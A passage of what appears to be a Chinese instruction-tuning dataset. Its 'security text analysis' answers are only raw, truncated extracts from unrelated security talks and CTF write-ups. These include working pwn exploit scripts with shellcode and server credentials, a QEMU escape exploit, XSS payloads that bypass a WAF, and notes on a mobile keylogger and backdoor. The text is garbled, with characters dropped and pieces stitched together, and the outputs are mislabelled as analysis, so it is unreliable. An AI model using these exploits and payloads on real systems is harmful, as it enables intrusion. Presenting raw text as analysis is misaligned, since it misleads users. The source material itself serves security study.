生命周期管理 通过 JSON Web 令牌 (JWT) 验证保护身份验 证和授权 支持按密钥每个独立定义的密钥具有相应 配额定义允许的 API 请求从而全面掌控 用量 使用标准 API 定义Swagger/OAS 和 RAML进行 API 初始配置 4 Web 应用程序和 API 保护功能检查清单 保护应用程序和 API 销售演练检查清单 Akamai 为全球的大型企业提供安全的数字化体验Akamai 的智能边缘平台涵盖了从企业到云端的一切从而确保客户及其公司获 得快速智能且安全的体验全球优秀品牌依靠 Akamai 敏捷的解决方案扩展其多云架构的功能从而实现竞争优势Akamai 使决 策应用程序和体验更贴近用户帮助用户远离攻击和威胁Akamai 一系列的边缘安全Web 和移动性能企业访问和视频交付解 决方案均由优质客户服务分析和全天候监控提供支持如需了解全球优秀品牌信赖 Akam", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\\\"******************************************************************* .\\\" .\\\" This file was generated with po4a. Translate the source file. .\\\" .\\\"******************************************************************* .TH MKFIFO 1 2022年9月 \"GNU coreutils 9.1\" 用户命令 .SH 名称 mkfifo \\- 创建 FIFO命名管道 .SH 概述 \\fBmkfifo\\fP [\\fI\\,选项\\/\\fP]... \\fI\\,名称\\/\\fP... .SH 描述 .\\\" Add any additional description here .PP 使用给定的名称创建命名管道FIFO .PP 必选参数对长短选项同时适用 .TP \\fB\\-m\\fP, \\fB\\-\\-mode\\fP=\\fI\\,模式\\/\\fP 将文件权限位设置为给定的模式类似 chmod而不是类似 a=rw 这样 .TP \\fB\\-Z\\fP 将 SELinux 安全上下文设置为默认类型 .TP \\fB\\-\\-context\\fP[=\\fI\\,CTX\\/\\fP] 类似 \\fB\\-Z\\fP或者如果指定了上下文则将 SELinux 或者 SMACK 安全上下文设置为指定类型 .TP \\fB\\-\\-help\\fP 显示此帮助信息并退出 .TP \\fB\\-\\-version\\fP 显示版本信息并退出 .SH 作者 由 David MacKenzie 编写 .SH 报告错误 GNU coreutils 8.32 .br 请向 报告翻译错误 .SH 版权 Copyright \\(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . .br 本软件是自由软件您可以自由修改和重新发布它在法律允许的范围内不提供任何保证 .SH 参见 \\fBmkfifo\\fP(3) .PP .br 完整文档请见 .br 或者在本地使用 info \\(aq(coreutils) mkfifo invocation\\(aq", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMeticulously Modern Mobile Manipulations [DEF CON 27, Las Vegas] Leon Jacobs $ whoami Leon Jacobs / @leonjza Security Researcher @ SensePost Been Hacking stuff for ~ 10 years I also hated mobile application security a lot more in the past... Lets be honest about mobile application hacking $days since last public jailbreak Server Mode Gadget Mode pinning.checkPin.implementation = function () { // } Thats useful We can do more const file = Java.use(\"java.io.File\").$new(\"/\"); const file = ObjC.classes.SIFiles.alloc().init(); _ _ _ _ ___| |_|_|___ ___| |_|_|___ ___ | . | . | | -_| _| _| | . | | |___|___| |___|___|_| |_|___|_|_| |___|(object)inject(ion) demo http-file-browser.mov JavaScript [ObjC] Java() 0xfeedface Application Heaps Crypto Handlers Class Loaders Sockets Config Classes State Classes Methods get / set properties Property values have this data Calling methods can alter state Java.choose(className, callbacks); ObjC.choose(specifier, callbacks); demo heap-ios-tiktok.mov dalvik.system.DexClassLoader Unknown Apps / Malware demo reflection.mov Existing Tools Module.load(\"/path/to/library.dylib\"); const loader = pathClassLoader.$new( \"/tool.jar\", null, getClassLoader()); loader.loadClass(\"com.tool.Name\"); @Flipboard FLEX https://github.com/Flipboard/FLEX @Facebook Stetho https://github.com/facebook/stetho demo ios-flex-plugin.mov android-stetho.mov Integration Frida HTTP API Server HTTP Client JSON demo jenkins-binary-protections.mov Conclusions Runtime analysis can be more than just hooking We dont always* need root Everyone can use it! Lets explore more :P Thanks! @leonjza @sensepost https://git.io/objection", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Extremely Covert Bytes Category: Cryptography ## Description > DuckyDebugDuck is taking Computer Security this semester and he decided to create this encryption service using an encryption he seen in class, and again he hid a flag in it, see if you can get it. ## Solution Let's connect to the attached service: ```console root@kali:/media/sf_CTFs/technion/Extremely_Covert_Bytes# nc ctf.cs.technion.ac.il 4013 ______ _ ______ _ ______ _ | _ \\ | | | _ \\ | | | _ \\ | | | | | |_ _ ___| | ___ _| | | |___| |__ _ _ __ _| | | |_ _ ___| | __ | | | | | | |/ __| |/ / | | | | | / _ \\ '_ \\| | | |/ _` | | | | | | |/ __| |/ / | |/ /| |_| | (__| <| |_| | |/ / __/ |_) | |_| | (_| | |/ /| |_| | (__| < |___/ \\__,_|\\___|_|\\_\\\\__, |___/ \\___|_.__/ \\__,_|\\__, |___/ \\__,_|\\___|_|\\_\\ __/ | __/ | |___/ |___/ Enter the message you want to encrypt: > test f08e51ae8bff6986a3e3ad94c1e8efa7de53d1dd8325ce35fedcb2278090cd67 ``` So this service allows us to enter a string and have it encrypted. The challenge title hints that the encryption algorithm is [ECB](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#ECB): > The simplest of the encryption modes is the electronic codebook (ECB) mode (named after conventional physical codebooks). The message is divided into blocks, and each block is encrypted separately. > > The disadvantage of this method is a lack of diffusion. Because ECB encrypts identical plaintext blocks into identical ciphertext blocks, it does not hide data patterns well. ECB is not recommended for use in cryptographic protocols. Let's check by trying to encrypt a long message, and see if any of the encrypted blocks are identical: ```console root@kali:/media/sf_CTFs/technion/Extremely_Covert_Bytes# nc ctf.cs.technion.ac.il 4013 ______ _ ______ _ ______ _ | _ \\ | | | _ \\ | | | _ \\ | | | | | |_ _ ___| | ___ _| | | |___| |__ _ _ __ _| | | |_ _ ___| | __ | | | | | | |/ __| |/ / | | | | | / _ \\ '_ \\| | | |/ _` | | | | | | |/ __| |/ / | |/ /| |_| | (__| <| |_| | |/ / __/ |_) | |_| ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWho am I? Seth Fogie, VP Airscanner Airscanner Mobile Security Mobile AntiVirus Mobile Encrypter and more coming Author Security Warrior Maximum Wireless Security InformIT.com Security Section Overview Basic Security Issues Conceal A Backdoor Wizard Keyboard Logger Reverse Engineering Overview The Invisible Spy The Backdoor FTP Server Hard Reset Code Extract Window Mobile Buffer Overflow Miscellaneous Attacks Protections and Preventions Basic Security Issues Intrinsically lacking in security Lost/stolen/repaired/Sold PDAs Password issues: Stored in reg. Cpl swap. Bruteforce. Biometrics Bluetooth/IR issues Wi-Fi issues ActiveSync DoS connect/disconnect on port 5679 Network DoS attacks ping i .001 Forensics Programs copy RAM/ROM image Hard Reset/Soft Reset DoS (more on this later) Autorun fun with folder 2577 (demos) Conceal A Backdoor Wizard (Cabwiz) Trojan wrapper Conceals Trojan install files & registry settings Consolidates installation process into one step Self extracting and self executing CAB files self destructs Created by Microsoftguaranteed to work Steps Create Trojan files & determine registry settings Msdn.microsoft.com for instructions .inf file contains all relevant information C:\\Cabwiz fungame.inf = fungame.cab What is a PDA Keyboard What is a Windows Mobile Keyboard? Large bitmap Code to define what section to load Key array to define key press behavior Character to be typed Button coordinates to be pushed Packaged as core DLL (MSIM.DLL) Configured via registry settings Keyboard Logger? Challenges Requires creation of custom alternate keyboard Installable DLL with registry settings OS and OEM variations Creation Soft Input Panel Starters: Programming CE .NET (sample numerical keyboard) Platform Builder (sample SIP) EVC4 SIP Code + (CreateFile, SetFilePointer, WriteFile) Keyboard Logger Details The Code HANDLE hfile; hfile=CreateFile(TEXT(\"\\\\logfile.txt\"), GENERIC_WRITE, FILE_SHA", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAntenna comparison 20 antennas were tested to see which ones were the best for receiving. All the antennas are 3/4\" Motorola TAD/TAE mount (aka \"NMO\"). The following lists are ordered as per what you see in the picture (left to right). General information: Manufacturer Model Type Freq rating/gain ------------------- ------------------ ---------------------------------------------- ------------------------- Larsen NMO-27 (new style) 1/4 wave base loaded 27-28/0dB Radiall/Larsen NMO-27B 1/4 wave base loaded 27-28/0dB Larsen NMO-30B 1/4 wave base loaded 30-40/0dB Larsen NMO-50C 1/4 wave base loaded 47-54/0dB Larsen NMO-2/70 (old sytle) loaded 1/2 (VHF), closed coil collinear (UHF) 144- 148/6dB 440-450/3.5dB Larsen NMO-150 (new sytle) 5/8 wave base loaded 144-148/3dB Larsen NMO-Q 1/4 wave 150-170/0dB Larsen NMO-Q 1/4 wave 95-105/0dB Antenna Specialists ASPRD1615 1/4 wave 430-470/0dB Maxrad BMUF9000 1/4 wave 896-940/0dB Larsen NMO-450 5/8 over 1/2 wave closed coil collinear 450-470/3.4dB Motorola TDE6082A (?) closed coil collinear 460-470/5dB Larsen NMO-UHF 5/8 over 1/4 wave open coil collinear 450-470/3.2dB Maxrad BMUF8125 1/2 over 1/2 over 1/4 wave open coil trilinear 806-866/5dB Maxrad BMUF9043 1/2 over 1/4 wave open coil collinear elevated 896- 940/3dB Larsen NMO-800 5/8 over 1/2 wave closed coil collinear 806-866/3.4dB Maxrad unknown 5/8 over 1/2 wave open coil collinear 806-866/3.4dB Larsen NMO3E825B 5/8 over 1/4 wave closed coil collinear 825-896/3.2dB Larsen NMO5E825B 5/8 over 5/8 over 1/4 wave closed coil trilinear 825-896/5dB Maxrad BMAXSCAN1000 double 1/2 over 1/4 closed coil collinear (800) VHF/UHF/800 Performance: Model LW AM SW CB VHF-Lo FM Air VHF-150 VHF-165 VHF-TV 220 MilAir UHF-Lo UHF-Hi UHF-TV 800 900 -------------------- -- -- -- -- ------ -- --- ------- ------- ------ --- ------ ------ ------ ------ --- --- NMO-27 (new style) 2 5 5 7 2 2 - - - 2 1 - 2 - 2 6 4 NMO-27B - 1 4 7 5 4 4 2 3 4 4 1 2 1 5 4 4 NMO-30B - 1 4 7 5 4 2 1 2 4 5 - 2 1 5 1 3 NMO-50C ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nd3ctf WriteUp By Nu1L author:Nu1L d3ctf WriteUp By Nu1L PWN d3dev d3dev-revenge Truth hackphp liproll Reverse jumpjump baby_spear No Name white give Ancient Crypto babyLattice WEB 8-bit pub non RCE? Happy_Valentine's_Day Pool Calc real_cloud_storage real_cloud_serverless Misc Virtual Love_Revenge Virtual Love easyQuantum Signin shellgen2 PWN d3dev 没关monitor,直接搞 d3dev-revenge mmio有越界读写 控制下seek和addr,中间有个tea #include #include #include #include #include #include #include #include #include #include unsigned char *mmio_mem; void die(const char *msg) { perror(msg); exit(-1); } unsigned int pmio_base = 0xc040; uint32_t pmio_read(uint32_t addr) { return (uint32_t)inl(addr+pmio_base); } void pmio_write(uint32_t addr, uint32_t value) { outl(value, addr+pmio_base); } void mmio_write(uint32_t addr, uint64_t value) { *((uint64_t *)(mmio_mem + addr)) = value; } uint64_t mmio_read(uint32_t addr) { return *((uint64_t *)(mmio_mem + addr)); } void enc (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0) (v1 + sum) ((v1>>5) + k1); v1 += ((v0<<4) + k2) (v0 + sum) ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } void dec (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) (v0 + sum) ((v0>>5) + k3); v0 -= ((v1<<4) + k0) (v1 + sum) ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } uint64_t u64(char * s){ uint64_t result = 0; for (int i = 7 ; i >=0 ;i--){ result = (result << 8) | (0x00000000000000ff&s[i]);", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nACL Steganography: Permissions to Hide Your Porn by Michael Perklin Michael Perklin BaISc, MSIA, CISSP, EnCE, ACE Security Professional Corporate Investigator (Cyber-Crime) Digital Forensic Examiner Computer Geek + Legal Support hybrid In This Talk... What is Steganography? Historical examples of physical and digital forms How do they work? ACL Steganography - a new scheme Demo How It Works What Is Steganography? Greek origin and means \"concealed writing\" steganos (στεγανός) meaning \"covered or protected\" graphei (γραφή) meaning \"writing\" The term was first coined in 1499, but there are many earlier examples Basically, hiding something in plain sight Classical Examples Classical Example: Tattoo Tattoo under hair Encoder tattoos a slaves scalp Decoder shaves the messengers hair Problem: The message must be delayed to allow time for hair regrowth Also... Tattoos Are Permanent Oops Classical Example: Morse Stitch morse code into a sweater/jacket worn by a messenger Messenger hand-delivers one message while actually delivering two Classical Example: Invisible Ink Write secrets with lemon juice Allow to dry Decode with heat (candle, match, hair dryer, iron) Decode With Heat Digital Steganographic Methods Digital Example: Photos Files can be encoded as colour information embedded in a photo Most common type of digital steganography Based on the fact that only super-humans can tell the difference between Chartreuse and Lemon Photo Steganography Each pixel is assigned a colour with an RGB colour code The last bit of this 8-bit code is overwritten with encoded data #DFFF00 is chartreuse #DFFF01 is.... one of the yellows 8 adjacent pixels with 8 slightly-adjusted colours allows 1 byte of encoded information Audio Steganography Same principle as photographic steganography, but with audio Humans cant easily tell the difference between 400hz and 401hz, especially if the note isnt sustained Alter each frame of audio with 1 bit of encoded information Digital Example: x86 Ops Inform", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDisassemble Flash Lite 3.0 SWF file (How to protect your ActionScript source code) TAKESAKO @32bit.in Japan is a birthplace of \"K-ON!\" and \"K-TAI\" nJapanese cellular phones are called \"K-TAI\" nJapanese cellular phones have made original evolution because the communication method isn't an universal standard and so on nthose have many functions, such as infrared ray, pictographs, electronic money, and television, nTherefore, In Japan, there aren't NOKIA's nJapanese people want smart phone now nBut, many old K-TAI still remain in Japan, and nmany people are playing Flash Lite game on K-TAI! n GREE, mobage, mixi SWF File Format Specification n SWF Technology Center | Adobe Developer Connection nhttp://www.adobe.com/devnet/swf.html nVERSION 10 nAlexis SWF Reference nhttp://sswf.sourceforge.net/SWFalexref.html nFlash VERSION 1, 2, 3, 4, 5, 6, n Flash 1.0 Flash 4.0 FlashLite 1.1 n 2001 Alexis' SWF Reference http://sswf.sourceforge.net/SWFalexref.html : : : : SWF Flash Lite 1.1+ Hello world! nhello.swf (75 byte) 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 12 00 00 6f 00 00 48 65 6c 6c 6f 20 77 6f 72 6c 64 21 0a 00 1d 00 4d 09 01 00 60 0a 3e 80 0a 3e 80 60 08 6f 00 05 01 01 00 01 00 00 40 00 00 00 > swfdump -D hello.swf [HEADER] File version: 4 [HEADER] File size: 75 [HEADER] Frame rate: 12.000000 [HEADER] Frame count: 2 [HEADER] Movie width: 102.00 [HEADER] Movie height: 102.00 [009] 3 SETBACKGROUNDCOLOR (33/33/33) [00c] 23 DOACTION ( 18 bytes) action: Push String:\"o\" String:\"Hello world!n\" ( 0 bytes) action: SetVariable ( 0 bytes) action: End [025] 13 DEFINEEDITTEXT defines id 0001 variable \"o\" [004] 5 PLACEOBJECT places id 0001 at depth 0001 | Matrix | CXForm r g b a | 1.000 0.000 0.00 | mul 1.0 1.0 1.0 1.0 | 0.000 1.000 0.00 | add 0 0 0 0 [001] 0 SHOWFRAME 1 (00:00:00,000) [000] 0 END 1. How to read SWF flie nSWF File magic (4byte) 46 57 53 04 4b 00 00 00 60 00 3f c0 00 3f c0 00 0c 02 00 43 02 33 33 33 17 03 96 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n0x00 前 如有技术交流或渗透测试/代码审计/红队向培训/红蓝对抗评估需求的朋友 欢迎联系QQ/VX-547006660 0x01 前奏 最近在测试某知名安全商的过程中发现其处重要业务的域竟出现了难得的研WAF如此来勾起了 我的兴趣~ 仔细研究该业务点后发现某处传参会直接将传参内容写JS中的危险 Aut hor: J 0o1ey 于是与WAF的次交锋便从此刻开始~ 0x02 平静的闭合与常规操作 由上图的输出位置可知WAF情况下我们只需要通过 三个符号来闭合前半部分JS再//注释后JS再直接eval执JS代码即可 构造Payload 由于evalalert括号等太敏感~毫疑问直接被WAF秒了 )] %27)];eval(alert('xss'))// Aut hor: J 0o1ey 那只能经验与思路来逐渐替换掉这些敏感的函数关键词了~ 0x03 多法组合绕过WAF 解决eval 先解决的是eval被拦截的问题 在JS中绕过对于eval的拦截可以使Function()动态构造函数 这到了 Function()构造函数的个特性, Function()构造函数虽然不是很常但是了解下还是很有必要的 不管是通过函数定义语句还是函数直接量表达式函数的定义都要使 function()关键字 但是单函数还可以通过Function()构造函数来定义如 这的实际效果和下的代码是等价的 Function()构造函数可以传任意数量的字符串实参最后个实参所表示的本是函数体它可以包含任意的 Javascript 语句每条语句之间分号分割 我们依据这个特性就可以使Function()来代替eval() EG: 两者是等效的 var f = new Function(\"x\",\"y\",\"return x*y\"); var f=function(x,y){x*y}; Function(alert('xss')) eval(alert('xss')) Aut hor: J 0o1ey 改造我们的Payload 发现未拦截 直接Function内使函数 不出意外直接GG了~ ?%27]);Function(test)()// %27]);Function(alert('xss'))()// Aut hor: J 0o1ey 下思考的就是如何绕过对于函数的检测 绕过函数检测 直接alert既然被拦截我们就使atob来解密base64的的JS EG: 构造Payload atob(\"YWxlcnQoInhzcyIp\") //base64编码的alert('xss') %27]);Function(atob('YWxlcnQoInhzcyIp')))()// Aut hor: J 0o1ey Md,寄了~估计是正则检测了atob + ()的函数使... 没事再JS的个特性反引号来代替括号引号 构造Payload atob`YWxlcnQoInhzcyIp` %27]);Function(atob`YWxlcnQoInhzcyIp`)()// Aut hor: J 0o1ey 弹弹弹弹尾纹 0x04 总结 本初XSS绕过WAF总共了四个简单的TIPS 1.输出在JS内的闭合与注释 2.Function()来代替eval() 3.atob解密base64加密的JS 4.反引号代替括号与引号 所以多数业务场景并不是没有漏洞部分情况是受挖掘者脑中的利链与姿势所限 各种法组合起来达到漏洞利成功的效果是次有趣的经历 Aut hor: J 0o1ey", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 0x00 json是什么 JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式易于人阅读和编写同时也易于机器解析和生成 JSON 构建基于两种结构: - 名称 值对的集合 - 值的有序列表 - 结构可以嵌套 - 示例 ``` json {\"sites\":[ {\"name\":\"Runoob\", \"url\":\"www.runoob.com\"}, {\"name\":\"Google\", \"url\":\"www.google.com\"}, {\"name\":\"Taobao\", \"url\":\"www.taobao.com\"} ]} ``` ## 0x01 fastjson 是什么 Fastjson是Alibaba开发的Java语言编写的高性能JSON库https://github.com/alibaba/fastjson 采用假定有序快速匹配的算法它可以解析JSON格式的字符串支持将Java Bean序列化为JSON字符串也可以从JSON字符串反序列化到JavaBeanFastjson接口简单易用广泛使用在缓存序列化协议交互Web输出Android客户端等目前有2个主要接口toJsonString和parseObject来分别实现序列化和反序列化 ### fastjson反序列化框架 ![fastjson反序列化框架图](../pictures/fastjson_1.png) - 在Fastjson反序列化框架中JSON是门面类提供一些静态方法如parseparseObject其主要功能都是在DefaultJSONParser类中实现的 - DefaultJSONParser引用了ParserConfig类该类主要保存一些相关配置信息也引用了JSONLexerBase类用来处理字符分析序列化用到的是JavaBeanSerializer类而反序列化用到的是JavaBeanDeserializer类 ### fastjson 如何使用 首先定义一个User.java代码如下 ``` java public class User { private Long id; private String name; public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } ``` 序列化的代码如下: ```java import com.alibaba.fastjson.JSON; User guestUser = new User(); guestUser.setId(2L); guestUser.setName(\"guest\"); String jsonString = JSON.toJSONString(guestUser); System.out.println(jsonString); ``` 反序列化的代码示例 ```java String jsonString = \"{\\\"name\\\":\\\"guest\\\",\\\"id\\\":12}\"; User user = JSON.parseObject(jsonString, User.class); ``` ## 0x02 反序列化可能有什么问题 parseObject()方法在处理过程中会调用反序列化目标类的所有 settergetter和is方法如上User类的例子其成员字段id和name都有各自get和set的操作故这些函数都会在反序列化的过程中被调用以便为类实例的字段赋值 * 如果这些settergetter函数或者类的构造函数中存在执行命令的操作是不是就会造成命令执行漏洞 * 或者系统某些库在实现反序列化时的某些函数或一些继承的库重写了存在问题也可能造成反序列化漏洞 ### fastjson的反序列漏洞 #### fastjson 安全特性 - Feature.SupportNonPublicField 才能打开非公有属性的反序列化处理 - @type 可以指定反序列化任意类调用其set/get/is方法 #### fastjson 反序列漏洞poc分析 即使打开了autotype配置也不是所有库都能被利用触发反序列化因为fastjson库实现checkAutoType 函数以检查需要进行反序列化的库是否在黑名单中如果是则中断执行 有研究人员发现通过TemplatesImpl类可以绕过检查且造成反序列化漏洞poc 简化如下 ```java final Str", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDigital Vengeance Exploiting the Most Notorious C&C Toolkits @professor__plum Disclaimer The views expressed herein do not necessarily state or reflect the views of my current or former employers. I am not responsible for any use or misuse of the information provided. Implementation of the information given is at your own risk. Backstory The malware that was used would have slipped or probably got past 90% of internet defenses that are out there today in private industry Joseph Demarest, assistant director of the FBIs cyber division The sophisticated attack hackers obtained data on tens of millions of current and former customers and employees in a sophisticated attack Anthem identified an extremely sophisticated cyber attack RSA \"It is simply not possible to beat these hackers James A. Lewis Cybersecurity Expert at Center for Strategic and International Studies (CSIS) Government and non-government entities are under constant attack by evolving and advanced persistent threats and criminal actors. These adversaries are sophisticated, well-funded, and focused. Office of Personnel Management \"The threat is very persistent, adaptive and sophisticated and it is here to stay, SWIFT RAT terminology Client Victim Target C2 Server Attacker Victim Adversary Retaliator - one who returns assault in kind *icons credit Open Security Architecture Sophisticated attack hit list Prior Art Buffer overflow exploit by Andrzej Dereszowski Follow on work by Jos Wetzels APT1 & Poison Ivy Remote file download exploit by Shawn Denbow and Jesse Hertz Follow on work by Jos Wetzels New work Gh0st RAT Gh0st RAT Most notably identified by C2 traffic which start with the 5 byte marker Gh0st (or other 5 byte marker) 00000, 7hero, ABCDE, Adobe, ag0ft, apach, Assas, attac, B1X6Z, BEiLa, BeiJi, Blues, ByShe, cb1st, chevr, CHINA, cyl22, DrAgOn, EXXMM, Eyes1, FKJP3, FLYNN, FWAPR, FWKJG, GWRAT, Gh0st, Gi0st, GM110, GOLDt, HEART, Hello, https, HTTPS, HXWAN, Heart, httpx, IM007, ITore, kaGni, KOBBX, Kr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n0xcsandker csandker RSS Feed //Posts //History of Windows //Archive //Tags & Search //ME Switch Theme Offensive Windows IPC Internals 2: RPC 21 Feb 2021 (Last Updated: 19 5 2021) >> The Series >> Introduction >> History >> RPC Messaging >> RPC Protocol Sequence >> RPC Interfaces >> RPC Binding >> Anonymous & Authenticated Bindings >> Registration Flags >> Security Callbacks >> Authenticated Bindings >> Well-known vs Dynamic Endpoints >> RPC Communication Flow Contents: >> Sample Implementation >> Access Matrix >> Attack Surface >> Finding Interesting Targets >> RPC Servers >> RPC Clients >> Unauthorized Access >> Client Impersonation >> Server Non-Impersonation >> MITM Authenticated NTLM Connections >> MITM Authenticated GSS_NEGOTIATE Connections >> References This is part 2 of my series: Offensive Windows IPC Internals. If you missed part one and want to take a look, youll nd it here: Offensive Windows IPC Internals 1: Named Pipes. Part 2 was originally planned to be about LPC & ALPC, but as it turns out its quite time consuming to dig out all the undocumented bits and tricks about these technologies. Therefore i made the discussion to publish my knowledge about RPC rst before turning my head towards ALPC once again. The reason why i originally planed to publish LPC & ALPC before RPC is because RPC uses ALPC under the hood when used locally and even more: RPC is the intended solution for fast local inter process communication as RPC can be instructed to process local communication via a special ALPC protocol sequence (but youll nd that out while reading on). Anyhow, the lesson here is (i guess) that sometimes its better to pause on a thing and get your head cleared up and make progress with something else before you get lost in something that is just not ready to reveal its mysteries to you. Get a coffee and a comfy chair and buckle up for RPC Remote Procedure Calls (RPC) is a technology to enable data communication between a client and a server across process a", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nModule 1 A journey from high level languages, through assembly, to the running process https://github.com/hasherezade/malware_training_vol1 Creating Executables Compiling, linking, etc The code of the application must be executed by a processor Depending on the programming language that we choose, the application may contain a native code, or an intermediate code Compiling, linking, etc Native languages compiled to the code that is native to the CPU MyApp.exe Native code Compiling, linking, etc Interpreted languages require to be translated to the native code by an interpreter MyApp.exe Intermediate code interpreter Compiling, linking, etc Programming languages: compiled to native code (processor-specific), i.e. C/C++, assembly with intermediate code (bytecode, p-code): i.e. C# (compiled to Common Intermediate Language: CIL previously known as MSIL), Java interpreted i.e. Python, Ruby Compiling, linking, etc PowerShell scripts Python, Ruby Java C#, Visual Basic C/C++, Rust assembly High level Low level abstraction Compiling, linking, etc From an assembly code to a native application: Preprocessing Assembling Linking MyApp.asm MyApp.inc preprocess assemble MyApp.obj link Used_library.lib MyApp.exe Native code Compiling, linking, etc From an assembly code to a native application: demo in assembly MASM Microsoft Macro Asembler Windows-only YASM independent Assembler built upon NASM (after development of NASM was suspended) Multiplatform YASM has one advantage over MASM: allows to generate binary files (good for writing shellcodes in pure assembly) Compiling, linking, etc Using YASM to create PE files YASM will be used to create object file LINK (from MSVC) will be used for linking yasm f win64 demo.asm link demo.obj /entry:main /subsystem:console /defaultlib:kernel32.lib /defaultlib:user32.lib Compiling, linking, etc Using MASM to create PE files MASM will be used to create object file LINK (from MSVC) will be used for linking ml /c de", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ncodegate WriteUp By StrawHat.md Author: Straw Hat codegate WriteUp By StrawHat.md Pwn ARVM VIMT isolated File-V Web CAFE superbee babyFirst myblog Crypto PrimeGenerator Dark Arts Blockchain Ankiwoom Invest Pwn ARVM from pwn import * context.arch='arm' context.log_level='debug' sc=[\"mov r0,#0\",\"mov r1,#0x2000\",\"mov r2,#12\",\"mov r7,#3\",\"svc #0\"] #[\"add r4,pc,#128\",\"ldr r5,[r4]\",\"mvn r5,r5\",\"str r5,[r4]\"] sc+=[\"mov r0,#0x2004\",\"mov r1,#0\",\"mov r2,#0\",\"mov r3,#0x2000\",\"ldr r7,[r3]\",\"svc #0\"] pay=asm('\\n'.join(sc)) print(pay.hex()) p=remote('15.165.92.159',1234) p.sendafter(b'Your Code :',pay) p.sendlineafter(b'Edit',b'1') p.recvuntil(b'Secret code :') p.sendlineafter(b'Code?',p.recvline().strip()) p.send(p32(1)+b'/bin/sh\\x00') p.send(p32(11)+b'/bin/sh\\x00') p.interactive() VIMT #! /usr/bin/python2 # coding=utf-8 import sys from pwn import * import hashlib import requests #context.log_level = 'debug' context(arch='amd64', os='linux') def Log(name): log.success(name+' = '+hex(eval(name))) if(len(sys.argv)==1): #local sh = process([\"./app\"]) else: #remtoe # ctf@3.38.59.103 -p 1234 conn = ssh(user='ctf', host='3.38.59.103', port=1234, password=\"ctf1234_smiley\") sh = conn.run(\"/home/ctf/app\") x = 113 y = 38 cur_x = 0 # pos to be written cur_y = 0 def setY(val): sh.send('\\x1B') sh.sendline('set y=%d'%(val)) def setX(target, C): global cur_x if(target==cur_x): sh.send(C) cur_x = (cur_x+6)%x return setY(y-1) while(True): if(cur_x==target): setY(cur_y) sh.send(C) cur_x = (cur_x+6)%x break else: isolated singal handler race condition race between pop & clear will hijack stack_ptr to -1 sh.send('A') cur_x = (cur_x+6)%x def Compile(): sh.send('\\x1B') sh.sendline('compile') sh.recvuntil('-'*113) sh.recvuntil('-'*113) def WriteLine(cont): global cur_y for i in range(0, len(cont)): setX(i, cont[i]) WriteLine('int main(){system(\"cat flag\");}//') Compile() sh.interactive() ''' def Test(x): arr = [0]*x for i in range(10000): arr[(i*6)%x] = 1 for i in arr: if(i==0): print \"No\" return prin", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞CVE-2022-22965 在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码RCE的漏洞 现在已知的利用方法要求应用程序以WAR部署的形式在Tomcat上运行然而该漏洞的性质更为普遍可能有其他方法可以利用它 参考链接 - - ## 漏洞环境 执行如下命令启动一个Spring WebMVC 5.3.17服务 ``` docker compose up -d ``` 服务启动后访问`http://your-ip:8080/?name=Bob&age=25`即可看到一个演示页面 ## 漏洞复现 发送如下数据包即可修改目标的Tomcat日志路径与后缀利用这个方法写入一个JSP文件 ``` GET 